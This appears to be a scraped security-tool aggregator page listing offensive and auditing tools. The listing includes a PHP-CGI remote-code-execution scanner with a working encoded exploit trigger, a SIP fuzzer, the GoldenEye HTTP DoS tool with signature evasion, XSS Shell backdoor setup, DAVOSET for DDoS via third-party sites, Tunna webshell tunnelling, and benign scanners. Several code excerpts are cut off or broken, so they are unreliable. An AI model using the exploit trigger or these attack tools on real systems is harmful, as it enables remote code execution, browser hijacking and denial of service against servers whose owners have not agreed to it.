Web
PHP-CGI Remote Code Execution Scanner
11 March, 2014 - 04:43 — cisc0ninjaPHP-CGI Remote Code Execution Scanner - This small python script scans for a number of variations on the PHP-CGI remote code execution vulnerability, includes "apache magica" and plesk paths, along with other misconfigurations.
Authored by infodox
# Written for /r/netsec
# test for the apache-magicka exploit bug. Added plesk and "how not to configure your box" paths.
# infodox - insecurety.net - 2013
# Twitter: @info_dox
# Bitcoins: 1PapWy5tKx7xPpX2Zg8Rbmevbk5K4ke1ku
# released under WTFPL
import requests
import sys
def scan(target):
paths = ['/index.php', '/cgi-bin/php', '/cgi-bin/php5', '/cgi-bin/php-cgi', '/cgi-bin/php.cgi', '/cgi-bin/php4', '/phppath/php', '/phppath/php5', '/local-bin/php', '/local-bin/php5']
for path in paths:
probe(target, path)
def probe(target, path):
print "[*] Testing Path: %s" %(path)
trigger = path + "/?"
trigger += "%2D%64+%61%6C%6C%6F%77%5F%75%72%"
trigger += "6C%5F%69%6E%63%6C%75%64%65%3D%6F"
trigger += "%6E+%2D%64+%73%61%66%65%5F%6D%6F"
trigger += "%64%65%3D%6F%66%66+%2D%64+%73%75"
trigger += "%68%6F%73%69%6E%2E%73%69%6D%75%6"
trigger += "C%61%74%69%6F%6E%3D%6F%6E+%2D%64"
trigger += "+%64%69%73%61%62%6C%65%5F%66%75%"
trigger += "6E%63%74%69%6F%6E%73%3D%22%22+%2"
trigger += "D%64+%6F%70%65%6E%5F%62%61%73%65"
trigger += "%64%69%72%3D%6E%6F%6E%65+%2D%64+"
trigger += "%61%75%74%6F%5F%70%72%65%70%65%6"
trigger += "E%64%5F%66%69%6C%65%3D%70%68%70%"
trigger += "3A%2F%2F%69%6E%70%75%74+%2D%6E"
url = target + trigger
php = """<?php echo "Content-Type:text/html\r\n\r\n"; echo md5('1337x'); ?>"""
try:
haxor = requests.post(url, php)
if "44e902a5aa760d79b76e070fa6725386" in haxor.text:
print "Exploitable!"
except Exception:
print "Err, Someshit broke"
def main(args):
if len(sys.argv) !=2:
SystemSearcher
3 February, 2014 - 15:29 — cisc0ninjaSystemSearcher is a Linux security scanner written in Perl. It scans single hosts or subnets for anonymous FTP servers, TFTP servers, SMTP servers which allow relaying, SSH servers, Telnet servers, NFS servers with exported directories, mail servers, Web servers (HTTP/HTTPS), well- known trojan ports, and exploitable CGIs. You can also scan a list of specific servers and specific ports. It uses non-blocking socket communication with a 3-second socket timeout. It can also scan for proxy servers which are open to the world (on port 80,8080,1080, or 3128), and SMB servers or Windows boxes sharing directories.
SIP Army Knife
3 February, 2014 - 15:22 — cisc0ninjaSIP Army Knife is a fuzzer that searches for cross site scripting, SQL injection, log injection, format strings, buffer overflows, and more.
#SIP VoIP Protocol Fuzzer
#Created: Blake Cornell
use strict;
#use warnings; LOTS OF WARNING ____ SOLVE THIS AND INCREASE EFFICIENTY
use IO::Select;
use IO::Socket;
use IO::Socket::INET;
use Getopt::Long;
use Pod::Usage;
use Time::HiRes qw( alarm );
use Digest::MD4 qw( md4_hex );
use Digest::MD5 qw( md5_hex );
use Digest::CRC qw( crc32 crc16 );
use HTML::Entities;
my @timeoutDetection = ();
my @md5Requests = ();
my @md4Requests = ();
my @crc32Requests = ();
my @crc16Requests = ();
my $packetCount = ;
my $socketType='';
my $result = GetOptions('host|h=s' => \(my $host = ''),
'dport|p=s' => \(my $dport = ''),
'sport|p=s' => \(my $sport = ''),
'verbose|v' => \(my $verbose),
'veryverbose|vv' => \(my $veryVerbose),
'connection|c' => \(my $connection), #to listen to response or not
'density|d=s' => \(my $density = ), #determines how many mutations to use
'timeout|t=s' => \(my $timeout = .1),
'count' => \(my $countTests = ), #counts the number of packets to test
'md4' => \(my $md4), #can cause timeouts
'md5' => \(my $md5), #can cause timeouts
'crc32' => \(my $crc32), #can cause timeouts
'crc16' => \(my $crc16), #can cause timeouts
'start=s' => \(my $startPosition), #if set, then start at this position
'stringFormats' => \(my $stringFormats),
'stringOverflows' => \(my $stringOverflows),
'integerFormats' => \(my $integerFormats),
'injectHeaders' => \(my $injectHeaders),
'xss' => \(my $xss),
'sqli' => \(my $sqli),
'callId' => \(my $callId), #call id is incremented
'detectVersion' => \(my $detectVersion),
'getOptions' => \(my $getOptions),
'help' => \(my $help),
'proto=s' => \(my $proto),
GoldenEye
31 January, 2014 - 12:05 — cisc0ninjaGoldenEye is an python app for SECURITY TESTING PURPOSES ONLY!
GoldenEye is a HTTP DoS Test Tool.
Attack Vector exploited: HTTP Keep Alive + NoCache
GoldenEye is an HTTP/S Layer 7 denial of service testing tool. It uses KeepAlive (and Connection: keep-alive) paired with Cache-Control options to persist socket connection busting through caching (when possible) until it consumes all available sockets on the HTTP/S server.
Changes: Referer strings from search engines now only domain part hardcoded. Referer generation function now generates even more random referers. Evades Juniper Netscreen signature. Various other updates and improvements.
OLD:
Usage
USAGE: ./goldeneye.py [OPTIONS]
OPTIONS:
Flag Description Default
-t, --threads Number of concurrent threads (default: 500)
-m, --method HTTP Method to use 'get' or 'post' or 'random' (default: get)
-d, --debug Enable Debug Mode [more verbose output] (default: False)
-h, --help Shows this help
NEW:
USAGE: ./goldeneye.py [OPTIONS]
OPTIONS:
Flag Description Default
-u, --useragents File with user-agents to use (default: randomly generated)
-w, --workers Number of concurrent workers (default: 50)
-s, --sockets Number of concurrent sockets (default: 30)
-m, --method HTTP Method to use 'get' or 'post' or 'random' (default: get)
-d, --debug Enable Debug Mode [more verbose output] (default: False)
-h, --help Shows this help
Utilities
util/getuas.py - Fetchs user-agent lists from http://www.useragentstring.com/pages/useragentstring.php subpages (ex: ./getuas.py http://www.useragentstring.com/pages/Browserlist/) REQUIRES BEAUTIFULSOUP4
XSS Shell
31 January, 2014 - 11:58 — cisc0ninjaXSS Shell is powerful a XSS backdoor and zombie manager. This concept first presented by “XSS-Proxy – http://xss-proxy.sourceforge.net/”. Normally in XSS attacks attacker has one shot, in XSS Shell you can interactively send requests and get responses from victim. you can backdoor the page.
Installation
XSS Shell uses ASP + MS Access database as backend but you can simply port them into any other server-side solution. You just need to stick with simple communication protocol.
Install Admin Interface
Copy “xssshell” folder into your web server
Copy “db” to a secure place (below root)
Configure “database path” from “xssshell/db.asp”
Modify hard coded password in db.asp [default password is : w00t]
Now you can access admin interface from something like http://[YOURHOST]/xssshell/
Configure XSS Shell for communication;
Open xssshell.asp
2. Set “SERVER” variable to where your XSSShell folder is located. i.e: “http://[YOURHOST]/xssshell/”;
3. Be sure to check “ME”, “CONNECTOR”, “COMMANDS_URL” variables. If you changed filenames, folder names or some kind of different configuration you need modify them.
Now open your admin interface from your browser,
To test it, just modify “sample_victim/default.asp” source code and replace “http://attacker:81/release/xssshell.js” URL with your own XSS Shell URL. Open “sample_victim” folder in some other browser and may be upload in to some other server.
Now you should see a zombie in admin interface. Just write something into “parameters” textarea and click “alert()”. You should see an alert message in victim’s browser.
Security Notes
As a hunter be careful about possible “Backfire” in getSelfHTML(). Someone can hack you back or track you by another XSS or XSS Shell attack.
Checkout “showdata.asp” and implement your own “filter()” function to make it safer for you.
Put “On error resume next” to db.asp, better modify your web server to not show any error.
Scuba
31 January, 2014 - 10:54 — cisc0ninjaScuba is a free tool that scans leading enterprise databases for security vulnerabilities and configuration flaws, including patch levels. Reports deliver actionable information to quickly reduce risk, and regular vulnerability updates ensure that Scuba keeps pace with new threats.
Scuba offers nearly 1,200 tests that can be run without experiencing downtime or performance degradation because Scuba does not exploit the vulnerabilities it finds. From configuration flaws such as weak passwords, to known security risks and missing critical patches, Scuba delivers a snapshot analysis of the security posture of your databases and database infrastructure.
Use Scuba to:
Automate vulnerability discovery
Secure infrastructure and measure compliance
Prioritize risk and focus remediation resources
Safely test enterprise class databases
(this tool would be better if there wasn't a "register your email for a download link")
DAVOSET
31 January, 2014 - 10:27 — cisc0ninja(Translation provided by google)
DDoS attacks via other sites execution tool (DAVOSET) - a tool for use by Abuse of Functionality and XML External Entities vulnerabilities at some sites for attacks on other sites (including DoS and DDoS attacks). Which was developed by me in 2010.
On these attacks, I wrote the article sites use to attack other sites . In the article the effectiveness of the attacks on sites through the use of other sites I announced DAVOSET and explored the effectiveness of these attacks. I also wrote about the benefits of these attacks .
This tool is written in perl.
# DAVOSET v.1.1.4
# Tool for conducting of DDoS attacks on the sites via other sites
# Copyright (C) MustLive 2010-2013
# Last update: 03.12.2013
# <a href="Http://websecurity.com.ua<br />
#" title="Http://websecurity.com.ua<br />
#">Http://websecurity.com.ua<br />
#</a> # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
# Program summary
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
Vega Web Security Scanner
16 January, 2014 - 11:43 — cisc0ninjaVega is a free and open source scanner and testing platform to test the security of web applications. Vega can help you find and validate SQL Injection, Cross-Site Scripting (XSS), inadvertently disclosed sensitive information, and other vulnerabilities. It is written in Java, GUI based, and runs on Linux, OS X, and Windows.
Vega includes an automated scanner for quick tests and an intercepting proxy for tactical inspection. The Vega scanner finds XSS (cross-site scripting), SQL injection, and other vulnerabilities. Vega can be extended using a powerful API in the language of the web: Javascript.
Core:
Automated Crawler and Vulnerability Scanner
Consistent UI
Website Crawler
Intercepting Proxy
SSL MITM
Content Analysis
Extensibility through a Powerful Javascript Module API
Customizable alerts
Database and Shared Data Model
Modules:
Cross Site Scripting (XSS)
SQL Injection
Directory Traversal
URL Injection
Error Detection
File Uploads
Sensitive Data Discovery
Tunna
26 December, 2013 - 17:36 — cisc0ninjaTunna is a tool designed to bypass firewall restrictions on remote webservers. It consists of a local application (supporting Ruby and Python) and a web application (supporting ASP.NET, Java and PHP).
Tunna is a set of tools which will wrap and tunnel any TCP communication over HTTP. It can be used to bypass network restrictions in fully firewalled environments. The web application file must be uploaded on the remote server. It will be used to make a local connection with services running on the remote web server or any other server in the DMZ. The local application communicates with the webshell over the HTTP protocol. It also exposes a local port for the client application to connect to.
Since all external communication is done over HTTP it is possible to bypass the filtering rules and connect to any service behind the firewall using the webserver on the other end.
Tunna framework
Tunna framework comes witht he following functionality:
SECFORCE - penetration testing Ruby client - proxy bind: Ruby client proxy to perform the tunnel to the remote web application and tunnel TCP traffic.
SECFORCE - penetration testing Python client - proxy bind: Python client proxy to perform the tunnel to the remote web application and tunnel TCP traffic.
SECFORCE - penetration testing Metasploit integration module, which allows transparent execution of metasploit payloads on the server
SECFORCE - penetration testing ASP.NET remote script
SECFORCE - penetration testing Java remote script
SECFORCE - penetration testing PHP remote script
Author
Tunna has been developed by Nikos Vassakis.
Sparty
26 December, 2013 - 17:26 — cisc0ninjaSparty is an open source tool written in python to audit web applications using sharepoint and frontpage architecture. The motivation behind this tool is to provide an easy and robust way to scrutinize the security configurations of sharepoint and frontpage based web applications. Due to the complex nature of these web administration software, it is required to have a simple and efficient tool that gathers information, check access permissions, dump critical information from default files and perform automated exploitation if security risks are identified. A number of automated scanners fall short of this and Sparty is a solution to that.
---------------------------------------------------------------
_|_|_| _|_|_| _|_| _|_|_| _|_|_|_|_| _| _|
_| _| _| _| _| _| _| _| _| _|
_|_| _|_|_| _|_|_|_| _|_|_| _| _|
_| _| _| _| _| _| _| _|
_|_|_| _| _| _| _| _| _| _|
SPARTY : Sharepoint/Frontpage Security Auditing Tool!
Authored by: Aditya K Sood |{0kn0ck}@secniche.org | 2013
Twitter: @AdityaKSood
Powered by: IOActive Labs !
--------------------------------------------------------------
Usage: sparty_beta_v_0.1.py [options]
Options:
--version show program's version number and exit
-h, --help show this help message and exit
Frontpage::
-f FRONTPAGE, --frontpage=FRONTPAGE
<FRONTPAGE = pvt | bin> -- to check access permissions
on frontpage standard files in vti or bin directory!
Sharepoint::
-s SHAREPOINT, --sharepoint=SHAREPOINT
